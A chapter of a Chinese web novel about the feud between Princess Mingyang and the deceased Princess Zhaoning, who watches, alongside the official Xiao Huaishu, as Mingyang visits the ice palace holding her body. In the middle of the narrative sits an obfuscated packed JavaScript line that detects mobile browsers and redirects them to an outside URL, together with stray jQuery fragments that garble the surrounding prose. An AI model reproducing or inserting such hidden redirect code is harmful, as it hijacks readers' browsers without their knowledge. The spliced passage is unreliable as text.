12.012

作品:《还阳

    大公主明阳乃苏贵妃之女,今年满二十,和昭宁的关系向来不合。


    两人的恩怨单纯来自各自的母妃。


    宸安帝还是晋王的时候,先皇亲自赐婚,将三司使之女苏氏许他为正妃。


    苏家嫡女苏蕙兰人如其名,知书达理,蕙质兰心,配文武双全的晋王最合适不过。婚后两人虽无感情基础,却也过得相敬如宾。


    待到婚后第二年,王妃顺利为晋王诞下双子——大公主明阳和二皇子楚毅。


    谁承想楚毅刚落地不满一月,西夏战事告急,宸安帝携十万大军远赴西北,一走就是三年。


    独留上京的王妃带着两个孩子千盼万盼,终于盼到王爷凯旋,然而除了王爷……还有坐在他马背上,被他亲自领回来的采药女。


    让苏贵妃真正崩溃的并不是这个叫做柳望舒的女人,那年的王朝并不安稳,朝纲失序,国势渐崩,先帝更是听信所谓的长生之道,日渐荒废朝政,沉溺于丹鼎之术,而丹炉之费日以万计,让本就亏空的国库根本难以承担。


    太子不过十二,难持大局,先皇后遂借辅佐之名把持权柄,与外戚阉官内外勾结,互为里表;剩下诸皇子各植党羽,几年间明争暗斗不断,整个江山社稷岌岌可危。


    晋王此番大胜无异于一颗定心丸,众臣心中的天平逐渐倾斜,遂在首辅大臣谢秉钧和三司使苏庆元的带领之下,强逼太子退位,立晋王为新太子。


    立太子的第二月,先帝驾崩,先皇后悲伤过度,带着年幼的太子伴驾而去,二十五岁的晋王登位,改国号为兴,同时——立采药女为后。


    宸安帝不顾群臣抗议一意孤行,苏庆元更是不堪受辱,当朝哭喊道:“臣女于家无失德而见弃;臣于国无亏行而见辱,先帝在天之灵,臣何颜对之?!”


    说罢竟一头撞死在了柱子上。


    满朝哗然。


    即便如此,宸安帝仍在万千阻挠之下为采药女举行了隆重的封后大典,随后册封苏蕙兰为皇贵妃,至于撞柱而死的三司使,皇帝怒其以死相逼,收其官爵,但又念及三司使的提点之恩,给苏庆元的几个孩子封了几个不大不小的爵位,这就当作补偿了。


    而在这件事发生之前,苏贵妃才刚刚夭折了自己刚满三岁的幼子。


    明阳和楚毅是双生的姐弟。


    弟弟病亡,外祖父惨死,母亲册封皇贵妃入住慈元殿,往日温柔的母妃日夜垂泪,父亲更是一年到头陪在柳皇后跟前,便是难得相见,两人也闹得不欢而散。


    明阳在这种环境下长大,性格渐渐扭曲。


    她原以为自己不得父亲喜欢,是因为自己的女儿身,直到几年后,柳皇后生下了昭宁。


    昭宁诞生那年,恰逢宸安帝收复西北,一统大川。


    宸安帝将幼女的诞生视作大兴福泽的开端,不顾以往礼法,破例将刚出生的幼女封为昭宁公主,赐小名简简,宣告世民,公主降福大兴,使国运昌盛。


    他不再纳妃,日日留宿凤仪宫,走哪儿都抱着年幼的昭宁,宠极了的时候便是上朝都不离手,这些都是明阳从未享受过的待遇,或者是父爱。


    她嫉妒柳皇后抢走了父皇;更嫉妒昭宁抢走了属于她的父爱,此后日日夜夜,每时每刻,明阳都忍不住给昭宁找不痛快,便是有了自己的公主府,也见缝插针地让她难堪。


    昭宁还记得自己没死之前,去御书房找父皇给她和陆升赐婚;几天后就听宫里人说,明阳与陆升小将军巧遇,二人相谈甚欢。


    什么巧遇,分明是明阳故意抢人来了。


    看着端着个盘子出现在冰宫外面的明阳,昭宁气得要死,用脑子都能想出来,明阳肯定想在她的尸身上动手脚!她到自己死了都不让她好过!


    昭宁呼吸渐粗,瞪大眼睛盯紧明阳的动作,偏偏这个位置离得太远,听都听不清她说什么。


    守门的御林军很是为难:“圣上先前下令……”


    明阳厉声呵斥:“那父皇有没有嘱咐过,昭宁公主不得有任何差池?”她眸色锐利,扫过挡路的两张脸,“天气日渐炎热,定颜珠需得三日更换一次,方可保持圣体整洁。我得母后之命前来照料我的妹妹,难不成还得问过你们的意见?!”


    几人哪敢反对,面面相觑,扑通给明阳跪下:“属下不敢。”


    明阳神色更盛:“既然不敢还不赶快让开?!”


    几人顾念着圣命难违,思来想去还是退了一步:“皇命在先,小的不敢不从;不过大公主都这样说了,我们也不能拦着,既然如此,小的只能让公主进去一刻钟,还望大公主体谅。”


    明阳翻了个白眼,趾高气扬地走了进去。


    眼瞧着守卫放人,昭宁急得直想跺脚。


    嘉和不是好人,明阳更不是什么好果子!


    小的时候她骗她去后山,害得她差点掉河里;长大后更是想方设法让她在人前出丑,就连出宫也不老实,四处散播她骄纵蛮横的流言。


    还听照料她长大的嬷嬷说,她出生没几天明阳就偷偷抱走了她,找到的时候就在湖边,看那样分明是想溺死她!


    宸安帝大怒,可又不好斥责一个小孩子,便将火气全发到了慈元殿,降了苏蕙兰妃位,从皇贵妃跌到了贵妃,夫妻二人离心至今。


    真相如何昭宁不得而知,但长大后明阳做的那些腌臜事却都是切切实实的。


    这便算了,她都死了!!她都死了她还不肯放过她!


    昭宁情急之下想要冲过去,手却被牢牢拽住。


    她不好直接说明,只能搬出公主的名号,“你就不怕公主有恙?”


    萧怀恕自是知道她在担心什么,脸上并未表露,“人多眼杂,她不会明目张胆。”说着稍加顿留,“等人走了也不迟。”


    这么一说,昭宁立马冷静下来。


    一旦冷静,脑袋也跟着清明不少,昭宁眨眨眼,狐疑地扫过头顶那张清俊面容,“你……不责问我了?”


    不对劲,她怎么觉得……萧怀恕温和了许多?


    萧怀恕僵住,陡然意识到自己的态度确实转变过快。


    他不动声色地掩去那抹慌张,语气一如既往地生硬:“皇宫重地,你想让我怎么问责?”


    昭宁恍然。


    也是,天子脚下,更别提她是他亲自换出来的人,萧怀恕再这么胆大包天也要顾及自身性命,至于过后怎么处置她……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351785|198671||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到时候再说吧。


    昭宁继续扒拉着墙根,只露出半张脸阴暗地盯着冰宫那头。


    明阳从进去到出来刚好一刻钟,端着盘子进端着盘子走,从表情看不出异样。


    等人走远后,萧怀恕扯过昭宁,重声叮嘱:“御祭在即,我不会放任你留在皇城。”


    这个道理昭宁自然懂,连连点头,“晓得,晓得。”


    萧怀恕垂眸扫过她涂得焦黄的一张小脸,“我要进去确认一番公主安好,若他们问起你的身份,你不必理会,我会回答。”


    这反而是昭宁没想到的。


    她愣了愣,指向自己:“带我进去?”


    萧怀恕不语,佯装不虞。


    昭宁想起他说的第一句话,连连点头:“大人放心,你我同命相连,我不会惹事的。”


    同命相连……


    他扯了扯嘴角,又很快绷紧,“走吧。”


    昭宁生怕萧怀恕反悔,低眉顺眼地跟在了萧怀恕身后。


    萧怀恕既然负责此案,自是得到了宸安帝的允许。


    不过今天就是公主出殡的日子,不能像此前那般随意,守卫先是瞥了眼他身后不大起眼的宫女,接着对萧怀恕说道:“圣上有令,今日不准任何人踏入冰宫。”


    “不准任何人?”萧怀恕凝目相视,低敛的眉眼颇为冷峭,“明阳公主可进去过。”


    不是疑问,而是肯定。


    冷汗立马爬满守卫额头,当即跪地,把事情的经过原原本本解释了一遍。


    萧怀恕不耐烦地打断他们:“公主死因存疑,圣上命我全权调查此案,公主即将下葬,更是存不得任何差池,既然明阳公主进去过,本官自要确认无误再禀明圣上。至于你们,明知圣人有令还自行懈怠,过后自行领罚罢。”


    小兵吓得跪都跪不稳了,“可、可是贵妃说……”


    萧怀恕面色冰冷:“你们身为御林军卫,是以圣意为先,还是以贵妃口谕为先,孰轻孰重要我教你们不成?”


    “……属下不敢。”


    萧怀恕烦躁地摆手让他们起身,指着身后的昭宁说:“此为宁华宫宫女,本官不便擅触公主圣体,便由她入内查验。”他的眼神凉凉地扫过几张冷汗涔涔的脸,“公主无事最好,倘若有疑,拿你们是问。”


    一番话说得几人胆战心惊,直到萧怀恕进去都没有抬头。


    冰宫处于地下十二尺,其中一间冰室已经腾空,用作存放棺椁,即便如此,昭宁一走进去仍是感觉到了深入骨髓的寒意。


    她冷得直打哆嗦,萧怀恕余光瞥过,正欲解下外衣递过去,猛然想起了两人现下的身份,最后沉默地攥了下指尖,没有任何动作。


    那尊华美的棺木停放在冰石之间。


    除了常见的冰块,宸安帝还命工匠耗费千公斤冰珏玉打造了一副冰玉棺,能更好保存尸身不朽。


    它安然停放其中,镶嵌于棺身上的万千珠宝流光溢彩,辉映满室。


    昭宁一下子停止了瑟缩。


    她静静的,静静地看着它,看着那副承载了自己身躯的银石玉棺。


    ——她名为昭宁的十七年,皆埋葬在了这口华棺里。